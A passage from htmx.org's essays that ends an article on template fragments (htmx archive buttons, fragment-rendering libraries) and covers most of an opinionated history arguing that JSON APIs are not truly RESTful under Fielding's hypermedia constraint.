</span><span> <</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">hx-patch</span><span>=</span><span style="color:#98c379;">"/contacts/${contact.id}/unarchive"</span><span>>Unarchive</</span><span style="color:#e06c75;">button</span><span>>
</span><span> #else
</span><span> <</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">hx-delete</span><span>=</span><span style="color:#98c379;">"/contacts/${contact.id}"</span><span>>Archive</</span><span style="color:#e06c75;">button</span><span>>
</span><span> #end
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">h3</span><span>>Contact</</span><span style="color:#e06c75;">h3</span><span>>
</span><span> <</span><span style="color:#e06c75;">p</span><span>>${contact.email}</</span><span style="color:#e06c75;">p</span><span>>
</span><span> </</span><span style="color:#e06c75;">body</span><span>>
</span><span></</span><span style="color:#e06c75;">html</span><span>>
</span></code></pre>
<p>In the template we have an archiving feature where, depending on the archive state of the contact, we either display an “Archive”
or an “Unarchive” button, both powered by htmx and issuing HTTP requests to different end points.</p>
<p>When we click whichever of the two buttons is being shown, we want to replace the content in the <code>div</code> that surrounds
the button with an updated button. (Note the <code>hx-target="this"</code> on the div, so we are targeting that div’s innerHTML for
replacement.) This will effectively flip the back and forth between “Archive” and “Unarchive”.</p>
<p>Now, unfortunately, if we wanted to render only the buttons and not the rest of this template, this would typically involve
splitting the buttons out to their own template file and including it in this template, like so:</p>
<h5 id="contacts-detail-html-1"><a class="zola-anchor" href="#contacts-detail-html-1" aria-label="Anchor link for: contacts-detail-html-1">#</a>/contacts/detail.html</h5>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">html</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span> <</span><span style="color:#e06c75;">div </span><span style="color:#d19a66;">hx-target</span><span>=</span><span style="color:#98c379;">"this"</span><span>>
</span><span> #include archive-ui.html
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">h3</span><span>>Contact</</span><span style="color:#e06c75;">h3</span><span>>
</span><span> <</span><span style="color:#e06c75;">p</span><span>>${contact.email}</</span><span style="color:#e06c75;">p</span><span>>
</span><span> </</span><span style="color:#e06c75;">body</span><span>>
</span><span></</span><span style="color:#e06c75;">html</span><span>>
</span></code></pre>
<h5 id="contacts-archive-ui-html"><a class="zola-anchor" href="#contacts-archive-ui-html" aria-label="Anchor link for: contacts-archive-ui-html">#</a>/contacts/archive-ui.html</h5>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span>#if contact.archived
</span><span><</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">hx-patch</span><span>=</span><span style="color:#98c379;">"/contacts/${contact.id}/unarchive"</span><span>>Unarchive</</span><span style="color:#e06c75;">button</span><span>>
</span><span>#else
</span><span><</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">hx-delete</span><span>=</span><span style="color:#98c379;">"/contacts/${contact.id}"</span><span>>Archive</</span><span style="color:#e06c75;">button</span><span>>
</span><span>#end
</span></code></pre>
<p>Now we have two templates. We can now render the <code>archive-ui.html</code> template separately, but this split reduces the
visibility of the archiving feature: it is less obvious what is going on when you are looking just at the <code>detail.html</code>
template.</p>
<p>When pushed to extremes, decomposing templates like this can lead to quite a few small template fragments which, in
total, become difficult to manage and to reason about.</p>
<h3 id="template-fragments-to-the-rescue"><a class="zola-anchor" href="#template-fragments-to-the-rescue" aria-label="Anchor link for: template-fragments-to-the-rescue">#</a>Template Fragments To The Rescue</h3>
<p>To address this issue, chill templates has a <code>#fragment</code> directive. This directive allows you to specify a block of
content within a template and render <em>just that bit of content</em>:</p>
<h5 id="contacts-detail-html-using-a-fragment"><a class="zola-anchor" href="#contacts-detail-html-using-a-fragment" aria-label="Anchor link for: contacts-detail-html-using-a-fragment">#</a>/contacts/detail.html Using a Fragment</h5>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">html</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span> <</span><span style="color:#e06c75;">div </span><span style="color:#d19a66;">hx-target</span><span>=</span><span style="color:#98c379;">"this"</span><span>>
</span><span> #fragment archive-ui
</span><span> #if contact.archived
</span><span> <</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">hx-patch</span><span>=</span><span style="color:#98c379;">"/contacts/${contact.id}/unarchive"</span><span>>Unarchive</</span><span style="color:#e06c75;">button</span><span>>
</span><span> #else
</span><span> <</span><span style="color:#e06c75;">button </span><span style="color:#d19a66;">hx-delete</span><span>=</span><span style="color:#98c379;">"/contacts/${contact.id}"</span><span>>Archive</</span><span style="color:#e06c75;">button</span><span>>
</span><span> #end
</span><span> #end
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">h3</span><span>>Contact</</span><span style="color:#e06c75;">h3</span><span>>
</span><span> <</span><span style="color:#e06c75;">p</span><span>>${contact.email}</</span><span style="color:#e06c75;">p</span><span>>
</span><span> </</span><span style="color:#e06c75;">body</span><span>>
</span><span></</span><span style="color:#e06c75;">html</span><span>>
</span></code></pre>
<p>With this fragment defined in our template, we can now render either the entire template:</p>
<pre data-lang="java" style="background-color:#1f2329;color:#abb2bf;" class="language-java "><code class="language-java" data-lang="java"><span> </span><span style="color:#e5c07b;">Contact</span><span> c = </span><span style="color:#e06c75;">getContact</span><span>();
</span><span> </span><span style="color:#e5c07b;">ChillTemplates</span><span>.</span><span style="color:#e06c75;">render</span><span>(</span><span style="color:#98c379;">"/contacts/detail.html"</span><span>, </span><span style="color:#98c379;">"contact"</span><span>, c);
</span></code></pre>
<p>Or we can render only the <code>archive-ui</code> <em>fragment</em> of the template</p>
<pre data-lang="java" style="background-color:#1f2329;color:#abb2bf;" class="language-java "><code class="language-java" data-lang="java"><span> </span><span style="color:#e5c07b;">Contact</span><span> c = </span><span style="color:#e06c75;">getContact</span><span>();
</span><span> </span><span style="color:#e5c07b;">ChillTemplates</span><span>.</span><span style="color:#e06c75;">render</span><span>(</span><span style="color:#98c379;">"/contacts/detail.html#archive-ui"</span><span>, </span><span style="color:#98c379;">"contact"</span><span>, c);
</span></code></pre>
<p>We would use the first option when we want to render the entire detail page for the contact.</p>
<p>We would use the second option when we handled the archive/unarchive actions and wished only to rerender the buttons.</p>
<p>Note that, with fragments, we are able to keep our UI together in a single file and see exactly what is going on with
the feature, without bouncing around between different template files. This provides a cleaner and more obvious
implementation of the feature.</p>
<h2 id="known-template-fragment-implementations"><a class="zola-anchor" href="#known-template-fragment-implementations" aria-label="Anchor link for: known-template-fragment-implementations">#</a>Known Template Fragment Implementations</h2>
<p>Fragments (and the ability to render them directly in controllers) appear to be a relatively rare feature in templating
libraries and provide an excellent opportunity for improving the developer experience when working with htmx and other
hypermedia-oriented libraries.</p>
<p>Here are some known implementations of the fragment concept:</p>
<ul>
<li>Go
<ul>
<li><a rel="noopener" target="_blank" href="https://pkg.go.dev/text/template">Standard Library (use block actions)</a> <a rel="noopener" target="_blank" href="https://gist.github.com/benpate/f92b77ea9b3a8503541eb4b9eb515d8a">[demo]</a></li>
</ul>
</li>
<li>Java
<ul>
<li><a rel="noopener" target="_blank" href="https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#fragment-specification-syntax">Thymeleaf</a></li>
<li><a rel="noopener" target="_blank" href="https://github.com/bigskysoftware/chill/tree/master/chill-script">Chill Templates (currently in early alpha)</a></li>
<li><a rel="noopener" target="_blank" href="https://quarkus.io/guides/qute-reference#fragments">Quarkus Qute</a></li>
<li><a rel="noopener" target="_blank" href="https://jstach.io/doc/jstachio/current/apidocs/#mustache_fragments">JStachio (mustache)</a></li>
</ul>
</li>
<li>PHP
<ul>
<li><a rel="noopener" target="_blank" href="https://latte.nette.org/en/template-inheritance#toc-blocks">Latte</a> - Use the 3rd parameter to only render 1 block from the template - <code>$Latte_Engine->render('path/to/template.latte', [ 'foo' => 'bar' ], 'content');</code></li>
<li><a rel="noopener" target="_blank" href="https://laravel.com/docs/10.x/blade#rendering-blade-fragments">Laravel Blade</a> - includes built-in support for template fragments as of v9.x</li>
<li><a rel="noopener" target="_blank" href="https://twig.symfony.com/doc/3.x/api.html#rendering-templates">Twig</a> - <code>$template->renderBlock('block_name', ['the' => 'variables', 'go' => 'here']);</code></li>
</ul>
</li>
<li>Python
<ul>
<li><a rel="noopener" target="_blank" href="https://pypi.org/project/django-render-block/">Django Render Block Extension</a> - see <a rel="noopener" target="_blank" href="https://github.com/spookylukey/django-htmx-patterns/blob/master/inline_partials.rst">example code for htmx</a></li>
<li><a rel="noopener" target="_blank" href="https://github.com/sponsfreixes/jinja2-fragments">jinja2-fragments package</a></li>
<li><a rel="noopener" target="_blank" href="https://github.com/mikeckennedy/jinja_partials">jinja_partials package</a> (<a rel="noopener" target="_blank" href="https://github.com/mikeckennedy/jinja_partials/issues/1">discussion</a> on motivation)</li>
<li><a rel="noopener" target="_blank" href="https://github.com/mikeckennedy/chameleon_partials">chameleon_partials package</a></li>
<li><a rel="noopener" target="_blank" href="https://github.com/basxsoftwareassociation/htmlgenerator">htmlgenerator</a></li>
<li><a rel="noopener" target="_blank" href="https://pypi.org/project/django-template-partials/">django-template-partials</a> (<a rel="noopener" target="_blank" href="https://github.com/carltongibson/django-template-partials">repository</a>)</li>
</ul>
</li>
<li>.NET
<ul>
<li><a rel="noopener" target="_blank" href="https://github.com/bit-badger/Giraffe.Htmx/tree/main/src/ViewEngine.Htmx">Giraffe.ViewEngine.Htmx</a></li>
</ul>
</li>
<li>Rust
<ul>
<li><a rel="noopener" target="_blank" href="https://docs.rs/minijinja/latest/minijinja/struct.State.html#method.render_block">MiniJinja</a></li>
</ul>
</li>
</ul>
<p>Please <a href="/discord">let me know</a> if you know of others, so I can add them to this list.</p>
How Did REST Come To Mean The Opposite of REST?2022-07-18T00:00:00+00:002022-11-26T00:00:00+00:00Unknownhttps://htmx.org/essays/how-did-rest-come-to-mean-the-opposite-of-rest/<style>
pre {
margin: 32px !important;
}
</style>
<h2 id="tapping-the-sign"><a class="zola-anchor" href="#tapping-the-sign" aria-label="Anchor link for: tapping-the-sign">#</a>Tapping The Sign</h2>
<img src="/img/tap-the-sign.png" alt="You are wrong" style="width: 80%;margin-left:10%; margin-top: 16px;margin-bottom: 16px">
<blockquote>
<p>I am getting frustrated by the number of people calling any HTTP-based interface a REST API. Today’s example is the
SocialSite REST API. That is RPC. It screams RPC. There is so much coupling on display that it should be given an
X rating.</p>
<p>What needs to be done to make the REST architectural style clear on the notion that hypertext is a constraint? In
other words, if the engine of application state (and hence the API) is not being driven by hypertext, then it cannot
be RESTful and cannot be a REST API. Period. Is there some broken manual somewhere that needs to be fixed?</p>
<p><em>–Roy Fielding, Creator of the term REST</em></p>
<p><em> <a rel="noopener" target="_blank" href="https://roy.gbiv.com/untangled/2008/rest-apis-must-be-hypertext-driven">REST APIs must be hypertext-driven</a></em></p>
</blockquote>
<p><a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Representational_state_transfer">REST</a> must be the most broadly misused technical term
in computer programming history.</p>
<p>I can’t think of anything else that comes close.</p>
<p>Today, when someone uses the term REST, they are nearly always discussing a JSON-based API using HTTP.</p>
<p>When you see a job post mentioning REST or a company discussing <a rel="noopener" target="_blank" href="https://github.com/microsoft/api-guidelines/blob/vNext/Guidelines.md">REST Guidelines</a>
they will rarely mention either hypertext or hypermedia: they will instead mention JSON, GraphQL(!) and the like.</p>
<p>Only a few obstinate folks grumble: but these JSON APIs aren’t RESTful!</p>
<iframe src="https://www.youtube.com/embed/HOK6mE7sdvs" title="Doesn't anyone notice this?"
frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope"
style="width: 400px;height:300px;margin-left:15%;margin-top: 16px;margin-bottom: 16px">
</iframe>
<p>In this post, I’d like to give you a <a rel="noopener" target="_blank" href="https://james-iry.blogspot.com/2009/05/brief-incomplete-and-mostly-wrong.html">brief, incomplete and mostly wrong</a>
history of REST, and how we got to a place where its meaning has been nearly perfectly inverted to mean what REST was
original contrasted with: RPC.</p>
<h2 id="where-did-rest-come-from"><a class="zola-anchor" href="#where-did-rest-come-from" aria-label="Anchor link for: where-did-rest-come-from">#</a>Where Did REST Come From?</h2>
<p>The term REST, short for REpresentational State Transfer, came from
<a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm">Chapter 5 of Fielding’s PhD Dissertation</a>.
Fielding was describing the network architecture of the (then new) world wide web, and contrasting it with other possible
network architectures, particularly RPC-style network architectures.</p>
<p>It is important to understand that, at the time of his writing (1999-2000), there were no JSON APIs: he was describing
the web as it existed at that time, with HTML being exchanged over HTTP as people “surfed the web”. JSON hadn’t been
created yet, and broad adoption of JSON was a decade off.</p>
<p>REST described a <em>network architecture</em>, and it was defined in terms of <em>constraints</em> on an API, constraints that
needed to be met in order to be considered a RESTful API. The language is academic, which has contributed to the
confusion around the topic, but it is clear enough that most developers should be able to understand it.</p>
<h3 id="the-crux-of-rest-the-uniform-interface-hateoas"><a class="zola-anchor" href="#the-crux-of-rest-the-uniform-interface-hateoas" aria-label="Anchor link for: the-crux-of-rest-the-uniform-interface-hateoas">#</a>The Crux of REST: The Uniform Interface & HATEOAS</h3>
<p>REST has many constraints and concepts within it, but there is one crucial idea that I believe is the defining and
most distinguishing characteristic of REST, when contrasted with other possible network architectures.</p>
<p>This is known as the <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Representational_state_transfer#Uniform_interface">uniform interface constraint</a>,
and more specifically within that concept, the idea of <a rel="noopener" target="_blank" href="https://htmx.org/essays/hateoas/">Hypermedia As The Engine of Application State (HATEOAS)</a>
or as Fielding prefers to call it, the hypermedia constraint.</p>
<p>In order to understand this uniform interface constraint, lets consider two HTTP responses returning information about a
bank account, the first in HTML (a hypertext) and the second in JSON:</p>
<h4 id="an-html-response"><a class="zola-anchor" href="#an-html-response" aria-label="Anchor link for: an-html-response">#</a>An HTML Response</h4>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span>HTTP/1.1 200 OK
</span><span>
</span><span><</span><span style="color:#e06c75;">html</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Account number: 12345</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Balance: $100.00 USD</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Links:
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/deposits"</span><span>>deposits</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/withdrawals"</span><span>>withdrawals</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/transfers"</span><span>>transfers</</span><span style="color:#e06c75;">a</span><span>>
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/close-requests"</span><span>>close-requests</</span><span style="color:#e06c75;">a</span><span>>
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span></</span><span style="color:#e06c75;">html</span><span>>
</span></code></pre>
<h4 id="a-json-response"><a class="zola-anchor" href="#a-json-response" aria-label="Anchor link for: a-json-response">#</a>A JSON Response</h4>
<pre data-lang="json" style="background-color:#1f2329;color:#abb2bf;" class="language-json "><code class="language-json" data-lang="json"><span>HTTP/</span><span style="color:#d19a66;">1.1 200</span><span> OK
</span><span>
</span><span>{
</span><span> </span><span style="color:#98c379;">"account_number"</span><span>: </span><span style="color:#d19a66;">12345</span><span>,
</span><span> </span><span style="color:#98c379;">"balance"</span><span>: {
</span><span> </span><span style="color:#98c379;">"currency"</span><span>: </span><span style="color:#98c379;">"usd"</span><span>,
</span><span> </span><span style="color:#98c379;">"value"</span><span>: </span><span style="color:#d19a66;">100.00
</span><span> },
</span><span> </span><span style="color:#98c379;">"status"</span><span>: </span><span style="color:#98c379;">"good"
</span><span>}
</span></code></pre>
<p>The crucial difference between these two responses, and why the <em>HTML response</em> is RESTful, but the
<em>JSON response</em> is not, is this:</p>
<p style="margin:32px;text-align: center;font-weight: bold">The HTML response is entirely self-describing.</p>
<p>A proper hypermedia client that receives this response does not know what a bank account is, what a
balance is, etc. It simply knows how to render a hypermedia, HTML.</p>
<p>The client knows nothing about the API end points associated with this data, except via URLs and hypermedia controls
(links and forms) discoverable within the HTML itself. If the state of the resource changes such that the allowable
actions available on that resource change (for example, if the account goes into overdraft) then the HTML response would
change to show the new set of actions available.</p>
<p>The client would render this new HTML, totally unaware of what “overdraft” means or, indeed, even what a bank account is.</p>
<p>It is in this manner that hypertext is the engine of application state: the HTML response “carries along” all the API
information necessary to continue interacting with the system directly within itself.</p>
<p>Now, contrast that with the second JSON response.</p>
<p>In this case the message is <em>not</em> self describing. Rather, the client must know how to interpret the <code>status</code> field to
display an appropriate user interface. Further, the client must know what actions are available on the account based on
“out-of-band” information, that is, information on the URLs, parameters and so forth, derived from another source of
information <em>outside of the response</em>, such as swagger API documentation.</p>
<p>The JSON response is not self-describing and does not encode the state of the resource within a hypermedia. It therefore
fails the uniform interface constraint of REST, and, thus, is not RESTful.</p>
<h3 id="inventor-restful-apis-must-be-hypermedia-driven"><a class="zola-anchor" href="#inventor-restful-apis-must-be-hypermedia-driven" aria-label="Anchor link for: inventor-restful-apis-must-be-hypermedia-driven">#</a>Inventor: RESTful APIs Must Be Hypermedia Driven</h3>
<p>In <a rel="noopener" target="_blank" href="https://roy.gbiv.com/untangled/2008/rest-apis-must-be-hypertext-driven">Rest APIs Must Be Hypermedia Driven</a>, Fielding
goes on to say:</p>
<blockquote>
<p>A REST API should be entered with no prior knowledge beyond the initial URI (bookmark) and set of standardized media
types that are appropriate for the intended audience (i.e., expected to be understood by any client that might use the
API). From that point on, all application state transitions must be driven by client selection of server-provided
choices that are present in the received representations or implied by the user’s manipulation of those representations.</p>
</blockquote>
<p>So, in a RESTful system, you should be able to enter the system through a single URL and, from that point on, all navigation
and actions taken within the system should be entirely provided through self-describing hypermedia: through links and
forms in HTML, for example. Beyond the entry point, in a proper RESTful system, the API client shouldn’t need any
additional information about your API.</p>
<p>This is the source of the incredible flexibility of RESTful systems: since all responses are self describing and
encode all the currently available actions available there is no need to worry about, for example, versioning your API!
In fact, you don’t even need to document it!</p>
<p>If things change, the hypermedia responses change, and that’s it.</p>
<p>It’s an incredibly flexible and innovative concept for building distributed systems.</p>
<h3 id="industry-lol-no-restful-apis-are-json"><a class="zola-anchor" href="#industry-lol-no-restful-apis-are-json" aria-label="Anchor link for: industry-lol-no-restful-apis-are-json">#</a>Industry: Lol, No, RESTful APIs Are JSON</h3>
<p>Today, most web developers and most companies would call the <em>second example</em> a RESTful API.</p>
<p>They probably wouldn’t even regard the first response <em>as an API response</em>. It’s just HTML!</p>
<p>(Poor HTML, can’t get no respect.)</p>
<p>APIs are always JSON or maybe, if you are fancy, something like Protobuf, right?</p>
<img src="/img/you-are-wrong.png" alt="You are wrong" style="width: 80%;margin-left:10%; margin-top: 16px;margin-bottom: 16px">
<p>Wrong.</p>
<p>You are all wrong and you should feel bad.</p>
<p>The first response <em>is</em> an API response, and, in fact, the one that is RESTful!</p>
<p>The second response is, in fact, a <em>Remote Procedure Call</em> (RPC) style of API. The client and the server are coupled,
just like the SocialSite API Fielding complained about back in 2008: a client needs to have additional knowledge about
the resource it is working with that must be derived from some other source beyond the JSON response itself.</p>
<p>This API is, in spirit, nearly the opposite of REST.</p>
<p>Let’s call this style of API “RESTless”.</p>
<h2 id="how-rest-came-to-mean-restless"><a class="zola-anchor" href="#how-rest-came-to-mean-restless" aria-label="Anchor link for: how-rest-came-to-mean-restless">#</a>How “REST” came to mean “RESTless”</h2>
<p>Now, how on earth did we get to a spot where APIs that are <em>obviously</em> not RESTful are called RESTful by 99.9% of the
industry?</p>
<p>It’s a funny story:</p>
<p>Roy Fielding published his dissertation in 2000.</p>
<p>Around the same time, <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/XML-RPC">XML-RPC</a>, an explicitly RPC-inspired protocol was released
and started to gather steam as a method to build APIs using HTTP. XML-RPC was part of a larger project called
<a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/SOAP">SOAP</a>, from Microsoft. XML-RPC came out of a long tradition of RPC-style
protocols, mainly from the enterprise world, with a lot of static typing and early XML-maximalism thrown in as well.</p>
<p>Also arriving at this moment was <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Ajax_(programming)">AJAX</a>, or Asynchronous
JavaScript and XML. Note well the XML here. AJAX, as everyone now knows, allows browsers to issue HTTP requests
to the server in the background and process the response directly in JavaScript, opening up a whole new world of
programming for the web.</p>
<p>The question was: what should those requests look like? They were obviously going to be XML. Look, it’s right there
in the name. And this new SOAP/XML-RPC standard was out, maybe that was the right thing?</p>
<h3 id="maybe-rest-can-work-for-web-services"><a class="zola-anchor" href="#maybe-rest-can-work-for-web-services" aria-label="Anchor link for: maybe-rest-can-work-for-web-services">#</a>Maybe REST can work for Web Services?</h3>
<p>Some people noticed that the web had this different sort of architecture that Fielding had described, and began to ask
if REST, rather than SOAP, should be the preferred mechanism for accessing what were coming to be called “Web Services”.
The web was proving to be extremely flexible and growing gang busters, so maybe the same network architecture, REST, that
was working so well for browsers & humans would work well for APIs.</p>
<p>It sounded plausible, especially when XML was the format for APIs: XML sure <em>looks</em> an awful lot like HTML, doesn’t it?
You can imagine an XML API satisfying all of the RESTful constraints, up to and including the uniform interface.</p>
<p>So people began exploring this route as well.</p>
<p>While all this was happening, another important technology was in the process of being born: <a rel="noopener" target="_blank" href="https://www.json.org/json-en.html">JSON</a></p>
<p>JSON was (literally) JavaScript to SOAP/RPC-XML’s Java: simple, dynamic and easy. It’s hard to believe now,
when JSON is the dominant format for most web APIs, but it actually took a while for JSON to catch on. As late as 2008,
discussions around API development were mainly around XML, not JSON.</p>
<h3 id="formalizing-rest-apis"><a class="zola-anchor" href="#formalizing-rest-apis" aria-label="Anchor link for: formalizing-rest-apis">#</a>Formalizing REST APIs</h3>
<p>In 2008, Martin Fowler published an article popularizing the <a rel="noopener" target="_blank" href="https://martinfowler.com/articles/richardsonMaturityModel.html">Richardson Maturity Model</a>,
a model to determine how RESTful a given API was.</p>
<p>The model proposed four “levels”, with the first level being Plain Old XML, or The Swamp of POX.</p>
<img src="/img/rmm.png" alt="Richardson Maturity Model" style="width: 80%;margin-left:10%; margin-top: 16px;margin-bottom: 16px">
<p>From there, an API could be considered more “mature” as a REST API as it adopted the following ideas:</p>
<ul>
<li>Level 1: Resources (e.g. a resource-aware URL layout, contrasted with an opaque URL layout as in XML-RPC)</li>
<li>Level 2: HTTP Verbs (using <code>GET</code>, <code>POST</code>, <code>DELETE</code>, etc. properly)</li>
<li>Level 3: Hypermedia Controls (e.g. links)</li>
</ul>
<p>Level 3 is where the uniform interface comes in, which is why this level is considered the most mature and truly “The
Glory of REST”</p>
<h3 id="rest-wins-kinda"><a class="zola-anchor" href="#rest-wins-kinda" aria-label="Anchor link for: rest-wins-kinda">#</a>“REST” Wins, Kinda…</h3>
<p>Unfortunately for the term REST, two things happened at this time:</p>
<ul>
<li>Everyone switched to JSON</li>
<li>Everyone stopped at Level 2 of the RMM</li>
</ul>
<p>JSON rapidly took over the web service/API world because SOAP/XML-RPC was so dramatically over-engineered. JSON was simple,
“just worked” and was easy to read and understand.</p>
<p>With this change, the web development world threw off the shackles of the
<a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Jakarta_EE">J2EE mindset</a> conclusively, relegating SOAP/XML-RPC to an enterprise-only affair.</p>
<p>Since the REST approach wasn’t as tied to XML as SOAP/XML-RPC was, and since it didn’t impose as much formality on
end points, REST was the natural place for JSON to take over. And it did so, rapidly.</p>
<p>During this crucial change, something became increasingly clear: most JSON APIs were stopping at Level 2 of the RMM.</p>
<p>Some pushed through to Level 3 by incorporating hypermedia controls in their responses, but nearly all these APIs still
needed to publish documentation, indicating that the “Glory of REST” was not being achieved.</p>
<p>JSON taking over as the response format should have been a strong hint as well: JSON is obviously not a hypertext. You
can impose hypermedia controls on top of it, but it isn’t natural. XML at least <em>looked</em> like HTML, kinda, so it was
plausible that you could create a hypermedia with it.</p>
<p>JSON was just… data. Adding hypermedia controls was awkward, non-standardized and rarely used in the manner described
by the uniform interface constraint.</p>
<p>Despite these difficulties, the term REST stuck: REST was the opposite of SOAP, JSON APIs weren’t SOAP, therefore
JSON APIs were REST.</p>
<p>That’s the one sentence version of how we got here.</p>
<h3 id="the-rest-wars"><a class="zola-anchor" href="#the-rest-wars" aria-label="Anchor link for: the-rest-wars">#</a>The REST Wars</h3>
<p>Despite the JSON API world never consistently achieving truly RESTful APIs, there were plenty of fights over whether
or not the RESTless APIs being created were “RESTful”: arguments over URL layouts, over which HTTP verb was
appropriate for a given action, flame wars about media types, and so forth.</p>
<p>I was young at the time, and the whole thing struck me as opaque, puritanical and alienating, so I pretty much gave up
on the whole idea of REST: it was something condescending people fought about on the internet.</p>
<p>What I rarely saw mentioned (or, when I did, what I didn’t understand) was the concept of the uniform interface and how
crucial it is to a RESTful system.</p>
<p>It wasn’t until I created <a rel="noopener" target="_blank" href="https://intercoolerjs.org">intercooler.js</a> and a few smart folks started telling me that it was
RESTful that I got interested in the idea again.</p>
<p>RESTful? That’s a JSON API thing, how could my hack of a front-end library be RESTful?</p>
<p>So I looked into it, reread Fielding’s dissertation with fresh eyes, and discovered, lo and behold, not only was
intercooler RESTful, but all the “RESTful” JSON APIs I was dealing with weren’t RESTful at all!</p>
<p>And, with that, I began boring the internet to tears:</p>
<ul>
<li><a rel="noopener" target="_blank" href="https://intercoolerjs.org/2016/01/18/rescuing-rest.html">Rescuing REST From the API Winter</a></li>
<li><a rel="noopener" target="_blank" href="https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html">The API Churn/Security Trade-off</a></li>
<li><a rel="noopener" target="_blank" href="https://intercoolerjs.org/2016/05/08/hatoeas-is-for-humans.html">HATEOAS is for Humans</a></li>
<li><a rel="noopener" target="_blank" href="https://intercoolerjs.org/2020/01/14/taking-html-seriously">Taking HTML Seriously</a></li>
<li><a href="https://htmx.org/essays/hypermedia-apis-vs-data-apis/">Hypermedia APIs vs. Data APIs</a></li>
<li><a href="https://htmx.org/essays/hateoas/">HATEOAS</a></li>
<li><a href="https://htmx.org/essays/hypermedia-driven-applications/">Hypermedia Driven Applications</a></li>
<li>This, gentle reader, <a href="https://htmx.org/essays/how-did-rest-come-to-mean-the-opposite-of-rest/">your current article</a>.</li>
</ul>
<h3 id="the-state-of-rest-today"><a class="zola-anchor" href="#the-state-of-rest-today" aria-label="Anchor link for: the-state-of-rest-today">#</a>The State of REST Today</h3>
<p>Eventually most people got tired of trying to add hypermedia controls to JSON APIs and gave up on it. While these controls
worked well in certain specialized situations (e.g. paging), they never achieved the broad, obvious utility
that REST found in the general, human-oriented internet. <a rel="noopener" target="_blank" href="https://intercoolerjs.org/2016/05/08/hatoeas-is-for-humans.html">(I have a theory why that is.)</a></p>
<p>Things settled into this intermediate RESTless state, with REST slowly cementing its meaning as a JSON API at Level 1
or 2 of the RMM. But there was always the possibility that we would break through to Level 3 and the glory of REST.</p>
<p>Then Single Page Applications (SPAs) hit.</p>
<p>When SPAs hit, web development became disconnected entirely from the original underlying RESTful architecture. The <em>entire
networking architecture</em> of SPA applications moved over to the JSON RPC style. Additionally, due to the complexity of these
applications, developers specialized into front end and back end.</p>
<p>The front end developers were obviously <em>not</em> doing anything RESTful: they were working with JavaScript, building DOM
object, and calling AJAX APIs when needed. This was much more like thick-client authoring than anything like the
early web.</p>
<p>The back end engineers were still concerned with the network architecture to an extent, and they continued to use the
term “REST” to describe what they were doing.</p>
<p>Even though they were doing things like publishing swagger documentation for their RESTful APIs or <a rel="noopener" target="_blank" href="https://www.infoq.com/articles/no-more-mvc-frameworks/">complaining about API
churn of their RESTful APIs</a>, things that wouldn’t be occurring
if they were actually creating RESTful APIs.</p>
<p>Finally, in the late 2010s, people had had enough: REST, even in its RESTless form, simply wasn’t keep up with the needs
of increasingly complex SPA applications. The applications were becoming more and more like thick clients, and thick
client problems need thick client solutions, not bastardized hypermedia client solutions.</p>
<p>The dam really broke when <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/GraphQL">GraphQL</a> was released.</p>
<p>GraphQL couldn’t be less RESTful: you absolutely <em>have to have</em> documentation to understand how to work with an API
that uses GraphQL. The client and the server are extremely tightly coupled. There are no native hypermedia controls
in it. It offers schemas and, in many ways, feels a lot like an updated and stripped-down version of XML-RPC.</p>
<p>And here I want to say: that’s OK!</p>
<p>People really, really like GraphQL in many cases and, if you are building a thick client style application, that makes a
lot of sense:</p>
<blockquote>
<p>The short answer to this question is that HATEOAS isn’t a good fit for most modern use cases for APIs. That is why after
almost 20 years, HATEOAS still hasn’t gained wide adoption among developers. GraphQL on the other hand is spreading
like wildfire because it solves real-world problems.</p>
